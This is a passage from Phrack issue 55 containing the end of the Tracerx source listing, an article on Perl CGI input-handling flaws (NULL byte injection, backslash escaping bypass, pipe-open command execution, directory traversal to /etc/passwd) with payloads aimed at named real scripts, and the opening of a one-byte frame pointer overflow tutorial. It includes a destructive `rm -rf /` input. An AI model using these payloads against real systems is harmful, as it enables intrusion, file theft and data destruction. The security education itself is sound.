* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_REPORT_H

#define _TX_REPORT_H

#include "./tx_struct.h"

void

tx_report(

int, /* The class of packet we are reporting on */

u_char *, /* The packet to report */

struct tx_control ** /* u know this one */

);

#endif /* _TX_REPORT_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_util.h !928f1bf7

/*

* $Id: tx_util.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $

*

* Tracerx

* Misc routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_UTIL_H

#define _TX_UTIL_H

#include "./tx_struct.h"

/*

* Converts a string into an integer, handling bounding errors. * Accepts base 10 or base 16 numbers.

* Taken from traceroute and slightly modified.

* Exits with reason upon error.

*/

int /* The converted value */

tx_str2int(

register const char *, /* The string containing the value */

register const char *, /* The title of the value (for errors only) */

register int, /* Minimum value */

register int /* Maximum value */

);

int /* The protocol number */

tc_prot_select(

char *, /* The protocol from the command line */

struct tx_control ** /* U know.. */

);

int /* 1 == ok, ‑1 == err */

tx_get_hwaddrs(

struct ether_addr **, /* local ethernet addr (to be filled in) */

struct ether_addr **, /* remote ethernet addr (to be filled in) */

struct tx_control **, /* U know.. */

u_char * /* errbuf */

);

#endif /* _TX_UTIL_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_error.h !b56cc374

/*

* $Id: tx_error.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $

*

* Tracerx

* Error handling routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_ERROR_H

#define _TX_ERROR_H

#define WARNING 0x1

#define CRITICAL 0x2

#define FATAL 0x4

void

tx_error(

int,

char *,

...

);

#endif /* _TX_ERROR_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_struct.h !20e7682d

/*

* $Id: tx_struct.h,v 1.2 1999/06/03 22:06:52 route Exp $

*

* Tracerx

* tracerx structure prototypes

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#ifndef _TX_STRUCT_H

#define _TX_STRUCT_H

#include <unistd.h>

#include <pcap.h>

#include <libnet.h>

/*

* Tracerx control structure.

*/

struct tx_control

{

u_char tx_flags; /* internal flags */

u_char *device; /* device to use */

u_char *tx_packet; /* pointer to the packet */

u_short ip_tos; /* IP type of service */

u_short ip_df; /* IP dont fragment */

u_short burst_rate; /* burst rate */

u_short current_ttl; /* current IP TTL */

u_short max_ttl; /* max IP TTL */

u_short initial_sport; /* initial source port */

u_short initial_dport; /* initial destination port */

u_short id; /* tracerx packet ID */

u_short use_name; /* use domain names or dotted decimals */

u_short packet_size; /* total packet size */

int packet_offset; /* IP packet offset */

int protocol; /* transport protocol in use */

int probe_cnt; /* number of probes to send per round */

int verbose; /* verbose mode */

int reading_wait; /* network reading wait */

int writing_pause; /* network writing pause */

u_long host; /* destination host */

u_long packets_sent; /* packets sent */

u_long packets_reply; /* packets we got replies back */

struct sockaddr_in sin; /* socket address structure */

struct libnet_link_int *l; /* libnet packet injection structure */

pcap_t *p; /* pcap packet listening structure */

};

/*

* Packet payload.

*/

struct tx_payload

{

u_char seq; /* packet sequence number */

u_char ttl; /* TTL packet injected with */

struct timeval tv; /* time vector */

};

#define TX_P sizeof(struct tx_payload)

#endif /* _TX_STRUCT_H */

/* EOF */

<‑‑>

The following tarball contains the tracerx support files including the autoconf files and documentation.

<++> P55/Tracerx/tracerx‑package.tar.gz.uue !bddbaa9f

begin 644 tracerx‑package.tar.gz

M'XL(")M)V#<``W1R86‑E<G@M<&%C:V%G92YT87(`[%QK5]M(DYZOZ%?T,‑G!

end

<‑‑>

‑‑‑‑[ EOF

PERL CGI Problems

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 07 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Perl CGI problems ]

‑‑‑‑‑‑‑‑[ rain.forest.puppy / [ADM/Wiretrip] <rfp@wiretrip.net> ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Intro

I guess I should have an intro as to what this is about. Mostly, I've been coding and auditing various CGIs, and was trying to figure out how to leverage a few problems I thought were holes. So whatever, I'll shutup and get onto the holes.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Beef

‑‑‑‑[ Poison NULL byte

Note: The name `Poison NULL byte` was originally used by Olaf Kirch in a Bugtraq post. I liked it, and it fit... So I used. Greetings to Olaf.

When does "root" != "root", but at the same time, "root" == "root" (Confused yet)? When you co‑mingle programming languages.

One night I got to wondering, exactly what would Perl allow, and could I get anything to blow up in unexpected ways. So I started piping very weird data out to various system calls and functions. Nothing spectacular, except for one that was quite notable...

You see, I wanted to open a particular file, "rfp.db". I used a fake web scenario to get an incoming value "rfp", tacked on a ".db", and then opened the file. In Perl, the functional part of the script was something like:

# parse $user_input

$database="$user_input.db";

open(FILE "<$database");

Great. I pass 'user_input=rfp', and the script tries to open "rfp.db". Pretty simple (let's ignore the obvious /../ stuff right now).

Then it got interesting when I passed 'user_input=rfp%00'. Perl made $database="rfp\0.db", and then tried to open $database. The results? It opened "rfp" (or would have, had it existed). What happened to the ".db"? This is the interesting part.

You see, Perl allows NUL characters in its variables as data. Unlike C, NUL is not a string delimiter. So, "root" != "root\0". But, the underlying system/kernel calls are programmed in C, which DOES recognize NUL as a delimiter. So the end result? Perl passes "rfp\0.db", but the underlying libs stop processing when they hit the first (our) NUL.

What if we had a script that allowed trusted junior admins to change passwords on anyone's account EXCEPT root? The code could be:

$user=$ARGV[1] # user the jr admin wants to change

if ($user ne "root"){

# do whatever needs to be done for this user }

(**NOTE: this is here in WAY simplistic form & theory just to illustrate the point)

So, if the jr. admin tries 'root' as the name, it won't do anything. But, if the jr. admin passes 'root\0', Perl will succeed the test, and execute the block. Now, when systems calls are piped out (unless it's all done in Perl, which is possible, but not likely), that NUL will be effectively dropped, and actions will be happening on root's record.

While this is not necessarily a security problem in itself, it is definitely an interesting feature to watch for. I've seen many CGIs that tack on a ".html" to some user‑submitted form data for the resulting page. I.e.

page.cgi?page=1

winds up showing me 1.html. Semi‑secure, because it adds ".html" page, so you'd think, at worst, it'd only show HTML pages. Well, if we send it

page.cgi?page=page.cgi%00 (%00 == '\0' escaped)

then the script will wind up feeding us a copy of its own source! Even a check with Perl's '‑e' will fail:

$file="/etc/passwd\0.txt.whatever.we.want";

die("hahaha! Caught you!) if($file eq "/etc/passwd");

if (‑e $file){

open (FILE, ">$file");}

This will succeed (if there is, in fact, an /etc/passwd), and open it for writing.

Solution? Simple! Remove NULs. In Perl, it's as simple as

$insecure_data=~s/\0//g;

Note: don't escape them with the rest of the shell metacharacters. Completely remove them.

‑‑‑‑[ (Back)slash and burn

If you take a look at the W3C WWW Security FAQ, you'll see the recommended list of shell metacharacters is:

&;`'\"|*?~<>^()[]{}$\n\r

What I find the most interesting is everyone seems to forget about the backslash ('\'). Maybe it's just the way you need to write the escape code in Perl:

s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;

With all those backslashes escaping [](){}, etc., it gets confusing to make sure that the backslash is also accounted for (here, it's '\\'). Perhaps some people are just regex‑dyslexic, and think that by seeing one instance of backslash it's accounted for.

So, of course, why is this important? Imagine if you have the following line submitted to your CGI:

user data `rm ‑rf /`

You run it through your Perl escape code, which turns it into:

user data \`rm ‑rf /\`

Which is now safe to use in shell operations, etc. Now, let's say your forgot to escape out backslashes. The user submits the following line:

user data \`rm ‑rf / \`

Your code changes it to:

user data \\`rm ‑rf / \\`

The double backslashes will turn into a single 'data' backslash, leaving the backticks unescaped. This will then effectively run `rm ‑rf / \`. Of course, with this method, you'll always have spurious backslashes to deal with. Leaving the backslash as the last character on the line will cause Perl to error out on system and backtick calls (at least, in my testing it did). You'll have to be sneaky to get around this. ;) (It is possible...)

Another interesting backslash side‑effect comes from the following code to prevent reverse directory transversals:

s/\.\.//g;

All it does is remove double dots, effectively squashing reverse transversal of a file. So,

/usr/tmp/../../etc/passwd

will become

/usr/tmp///etc/passwd

which doesn't work (Note: multiple slashes are allowed. Try 'ls ‑l /etc////passwd')

Now, enter our friend the backslash. Let's give the line

/usr/tmp/.\./.\./etc/passwd

the regex expression will not match due to the backslash. Now, go to use that filename in Perl

$file="/usr/tmp/.\\./.\\./etc/passwd";

$file=s/\.\.//g;

system("ls ‑l $file");

Note: we need to use double backslashes to get Perl to insert only one 'data' backslash ‑‑ otherwise Perl assumes you're just escaping the periods. Datawise, the string is still "/usr/tmp/.\./.\./etc/passwd".

However, the above only works on system and backtick calls. Perl's '‑e' and open (non‑piped) functions do NOT work. Hence:

$file="/usr/tmp/.\\./.\\./etc/passwd";

open(FILE, "<$file") or die("No such file");

will die with "No such file". My guess is because the shell is needed to process the '\.' into '.' (as an escaped period is still just a period).

Solution? Make sure you escape the backslash. Simple enough.

‑‑‑‑[ That pesky pipe

In Perl appending a '|' (pipe) onto the end of a filename in a open statement causes Perl to run the file specified, rather than open it. So,

open(FILE, "/bin/ls")

will get you a lot of binary code, but

open(FILE, "/bin/ls|")

will actually run /bin/ls. Note that the following regex

s/(\|)/\\$1/g

will prevent this (Perl dies with a 'unexpected end of file', due to sh wanting the nextline indicated by the trailing '\'. If you find a way around this, let me know).

Now we can complex the situation with the other techniques we just learned above. Let's assume $FORM is raw user‑submitted input to the CGI. First, we have:

open(FILE, "$FORM")

which we can set $FORM to "ls|" to get the directory listing. Now, suppose we had:

$filename="/safe/dir/to/read/$FORM"

open(FILE, $filename)

then we need to specifically specify where "ls" is, so we set $FORM to "../../../../bin/ls|", which gives us a directory listing. Since this is a piped open, our backslash technique to get around anti‑reverse‑traversal regex's may be possibly used, if applicable.

Up to this point we can use command line options with command. For example, using the above code snippet, we could set $FORM to "touch /myself|" to create the file /myself (sorry, couldn't resist the filename. :)

Next, we have a little harder situation:

$filename="/safe/dir/to/read/$FORM"

if(!(‑e $filename)) die("I don't think so!")

open(FILE, $filename)

Now we need to fool the '‑e'. Problem is that '‑e' will come back as not exist if it tries to find 'ls|', because it is looking for the filename with the actual pipe on the end. So, we need to 'remove' the pipe for the '‑e' check, but still have Perl see it. Anything come to mind? Poison NULL to the rescue! All we need to do is set $FORM to "ls\0|" (or, in escaped web GET form, "ls%00|"). This causes the '‑e' to check for "ls" (it stops processing at our NUL, ignoring the pipe). However, Perl still sees the pipe at the end come time to open our file, so it will run our command. There's one catch, however...when Perl executes the our command, it stops at our NULL ‑‑ this means we can't specify command line options. Maybe examples will better illustrate:

$filename="/bin/ls /etc|"

open(FILE, $filename)

This gives as a listing of the /etc directory.

$filename="/bin/ls /etc\0|"

if(!(‑e $filename)) exit;

open(FILE, $filename)

This will exit because '‑e' sees "/bin/ls /etc" doesn't exist.

$filename="/bin/ls\0 /etc|"

if(!(‑e $filename)) exit;

open(FILE, $filename)

This will work, except we'll only get the listing of our current directory (a plain 'ls')...it will not feed the '/etc' to ls as an argument.

<rant> I also want to make a note for you code junkies: if you lazy Perl programmers (not *ALL* Perl programmers; just the lazy ones) would take the extra time to make your mind up and specify a specific file mode, it would render this bug moot. </rant>

$bug="ls|"

open(FILE, $bug)

open(FILE, "$bug")

work. But

open(FILE, "<$bug")

open(FILE, ">$bug")

open(FILE, ">>$bug")

etc..etc..

won't work. So if you want to read in a file, then open "<$file", not just $file. Inserting that less‑then sign (one measly character!) can save you and your server a lot of grief. </rant>

Ok, now that we have a few weapons, let's go engage the enemy.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Real life (insecure) Perl scripts

Our first CGI I snagged off of freecode.com. It's a classified ad manager script. From the CGI file:

# First version 1.1

# Dan Bloomquist dan@lakeweb.net

Now the first example...Dan parses all incoming form variables into %DATA. He doesn't strip '..', nor NUL characters. So, let's take a peek at a snippet of code:

#This sets the real paths to the html and lock files.

#It is done here, after the POST data is read.

#of the classified page.

$pageurl= $realpath . $DATA{ 'adPath' } . ".html";

$lockfile= $realpath . $DATA{ 'adPath' } . ".lock";

Using 'adPath=/../../../../../etc/passwd%00' we can specify $pageurl to point to the /etc/passwd file. Ditto for the $lockfile. We can't use the appended pipe, because he appends the ".html"/".lock" afterwards (well, you CAN use it, but it's not going to work. ;)

#Read in the classified page

open( FILE,"$pageurl" ) || die "can't open to read

$pageurl: $!\n";

@lines= <FILE>;

close( FILE );

Here Dan reads in $pageurl, which is the file we specified. Fortunately for Dan, he then immediately opens $pageurl for write. So whatever we specify to read, we also need rights to write it. This does limit the exploitation potential. But it serves as a great real‑life example of this type of problem.

Interestingly enough, Dan does go on to:

#Send your mail out.

#

open( MAIL, "|$mailprog $DATA{ 'adEmail' }" )

|| die "can't open sendmail: $adEmail: $!\n";

Hmmmmm...this is your standard no‑no. And Dan doesn't parse shell metacharacters, so that 'adEmail' gets pretty scary.

Sticking around freecode.com, I then got a simple form logger:

# flexform.cgi

# Written by Leif M. Wright

# leif@conservatives.net

Leif parses form input into %contents, and doesn't escape shell metacharacters. Then he does

$output = $basedir . $contents{'file'};

open(RESULTS, ">>$output");

Using our standard reverse directory transversal, we don't even have to NUL out an extension. Whatever file we specify is opened for append, so again, we need to get a little lucky with our permissions. Again, our pipe bug won't work because he specifically set the mode to append (via the '>>').

Next is LWGate, which is a WWW interface to many popular mailing list packages.

# lwgate by David W. Baker, dwb@netspace.org #

# Version 1.16 #

Dave puts parsed form variables into %CGI. Then we have

# The mail program we pipe data to

$temp = $CGI{'email'};

$temp =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;

$MAILER = "/usr/sbin/sendmail ‑t ‑f$temp"

open(MAIL,"| $MAILER") || &ERROR('Error Mailing Data')

Hmmmm...Dave seems to have forgotten the backslash in his regex replacement. Not good.

Ok, let's switch to one of the many shopping cart applications. This one, again, was yanked from freecode.com, Perlshop.

$PerlShop_version = 3.1;

# A product of ARPAnet Corp. ‑

perlshop@arpanet.com, www.arpanet.com/perlshop

The interesting part is:

open (MAIL, "|$blat_loc ‑ ‑t $to ‑s $subject")

|| &err_trap("Can't open $blat_loc!\n")

$to is obviously the user‑defined email. Blat is a NT mail program. Remember that shell metacharacters on NT are <>&|% (maybe more?).

Remember the pesky pipe problem I mentioned? (I hope you remember it... It was only a few paragraphs ago!). I admit, it's a very unlikely bug, but I did find it. Let's head over to Matt's Script Archive.

# File Download Version 1.0

# Copyright 1996 Matthew M. Wright mattw@worldwidemart.com

First he parses incoming user data into $Form (not escaping anything). Then he runs the following:

$Request_File = $BASE_DIR . $Form{'s'} . '/' . $Form{'f'};

if (!(‑e $filename)) {

&error('File Does Not Exist');

}

elsif (!(‑r $filename)) {

&error('File Permissions Deny Access');

}

open(FILE,"$Request_File");

while (<FILE>) {

print;

}

This fits the criteria for the 'pesky pipe problem' (tm). We do have the '‑e' check, so we don't get to use command line args. Since he sticks $BASE_DIR on the front, we'll need to use reverse directory transversal.

I'm sure you looking at the above (should) see a much more simpler problem. What if f=../../../../../../etc/passwd? Well, if it exists, and is readable, it'll show it to you. And yes, it does. One other note: all accesses to download.cgi are logged by the following code:

open(LOG,">>$LOG_FILE");

print LOG "$Date|$Form{'s'}|$Form{'c'}|$Form{'f'}\n"; close(LOG);

So you'll be on candid camera for everything you do. But you shouldn't be doing mean stuff to other people's servers anyways. ;)

Let's fly over to BigNoseBird.com. Script I have in mind:

bnbform.cgi

#(c)1997 BigNoseBird.Com

# Version 2.2 Dec. 26, 1998

The code of interest is after the script opens a pipe to sendmail as MAIL:

if ($fields{'automessage'} ne "")

{

open (AM,"< $fields{'automessage'}");

while (<AM>)

{

chop $_;

print MAIL "$_\n";

}

This is another simple one. BNB doesn't do any parsing of the user input variables (in $fields), so we can specify any file we want for 'automessage'. Assuming it's readable by the web server context, it will get mailed to whatever address we put (or so the theory goes).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Drats...That's the End

Sure is. By this time I was a little tired of wading through Perl code. I'll leave it as an exercise for all of you to go find more. And if you do, drop me a line‑‑especially if you find some scripts that you can make use of the 'pesky pipe problem'. Anyways, that's all I wrote for this one, so till next time people.

.rain.forest.puppy. [ADM/Wiretrip] rfp@wiretrip.net

Greets can be found at http://www.el8.org/~rfp/greets.html

Frame Pointer Overwriting

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 08 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Frame Pointer Overwrite ]

‑‑‑‑‑‑‑‑[ klog <klog@promisc.org> ]

‑‑‑‑[ Introduction

Buffers can be overflowed, and by overwriting critical data stored in the target process's address space, we can modify its execution flow. This is old news. This article is not much about how to exploit buffer overflows, nor does it explain the vulnerability itself. It just demonstrates it is possible to exploit such a vulnerability even under the worst conditions, like when the target buffer can only be overflowed by one byte. Many other esoteric techniques where the goal is to exploit trusted processes in the most hostile situations exist, including when privileges are dropped. We will only cover the one byte overflow here.

‑‑‑‑[ The object of our attack

Lets write a pseudo vulnerable suid program, which we will call "suid". It is written such that only one byte overflows from its buffer.

ipdev:~/tests$ cat > suid.c

#include <stdio.h>

func(char *sm)

{

char buffer[256];

int i;

for(i=0;i<=256;i++)

buffer[i]=sm[i];

}

main(int argc, char *argv[])

{

if (argc < 2) {

printf("missing args\n"); exit(‑1);

}

func(argv[1]);

}

^D

ipdev:~/tests$ gcc suid.c ‑o suid

ipdev:~/tests$

As you can see, we won't have much space to exploit this program. In fact, the overflow is caused only by one byte exceeding the buffer's storage space. We will have to use this byte cleverly. Before exploiting anything, we should take a look at what this byte really overwrites (you probably already know it, but hell, who cares). Let's reassemble the stack using gdb, at the moment the overflow occurs.

ipdev:~/tests$ gdb ./suid

...

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump.

(gdb)

As we all know, the processor will first push %eip into the stack, as the CALL instruction requires. Next, our small program pushes %ebp over it, as seen at *0x8048134. Finally, it activates a local frame by decrementing %esp by 0x104. This means our local variables will be 0x104 bytes big (0x100 for the string, 0x004 for the integer). Please note that the variables are physically padded to the first 4 bytes, so a 255 byte buffer would take up as much space as a 256 byte buffer. We can now tell what our stack looked like before the overflow occurred:

saved_eip

saved_ebp

char buffer[255]

char buffer[254]

...

char buffer[000]

int i

This means that the overflowing byte will overwrite the saved frame pointer, which was pushed into the stack at the beginning of func(). But how can this byte be used to modify the programs execution flow? Let's take a look at what happens with %ebp's image. We already know that it is restored at the end of func(), as we can see at *0x804817e. But what next?

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <printf>

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump.

(gdb)

Great! After func() has been called, at the end of main(), %ebp will be restored into %esp, as seen at *0x80481b1. This means that we can set %esp to an arbitrary value. But remember, this arbitrary value is not *really* arbitrary, since you can only modify the last %esp's byte. Let's check to see if we're right.

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <printf>

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump.

(gdb) break *0x80481b4

Breakpoint 2 at 0x80481b4

(gdb) run `overflow 257`

Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()

(gdb) info register esp

esp 0xbffffd45 0xbffffd45

(gdb)

It seems we were. After overflowing the buffer by one 'A' (0x41), %ebp is moved into %esp, which is incremented by 4 since %ebp is poped from the stack just before the RET. This gives us 0xbffffd41 + 0x4 = 0xbffffd45.

‑‑‑‑[ Getting prepared

What does changing the stack pointer give us? We cannot change the saved %eip value directly like in any conventional buffer overflow exploitation, but we can make the processor think it is elsewhere. When the processor returns from a procedure, it only pops the first word on the stack, guessing it is the original %eip. But if we alter %esp, we can make the processor pop any value from the stack as if it was %eip, and thus changing the execution flow. Lets project to overflow the buffer using the following string:

[nops][shellcode][&shellcode][%ebp_altering_byte]

In order to do this, we should first determine what value we want to alter %ebp (and thus %esp) with. Let's take a look at what the stack will look like when the buffer overflow will have occurred:

saved_eip

saved_ebp (altered by 1 byte)

&shellcode\

shellcode | char buffer

nops/

int i

Here, we want %esp to point to &shellcode, so that the shellcode's address will be poped into %eip when the processor will return from main(). Now that we have the full knowledge of how we want to exploit our vulnerable program, we need to extract information from the process while running in the context it will be while being exploited. This information consists of the address of the overflowed buffer, and the address of the pointer to our shellcode (&shellcode). Let's run the program as if we wanted to overflow it with a 257 bytes string. In order to do this, we must write a fake exploit which will reproduce the context in which we exploit the vulnerable process.

(gdb) q

ipdev:~/tests$ cat > fake_exp.c

#include <stdio.h>

#include <unistd.h>

main()

{

int i;

char buffer[1024];

bzero(&buffer, 1024);

for (i=0;i<=256;i++)

{

buffer[i] = 'A';

}

execl("./suid", "suid", buffer, NULL);

}

^D

ipdev:~/tests$ gcc fake_exp.c ‑o fake_exp

ipdev:~/tests$ gdb ‑‑exec=fake_exp ‑‑symbols=suid

...

(gdb) run

Starting program: /home/klog/tests/exp2

Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ ()

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

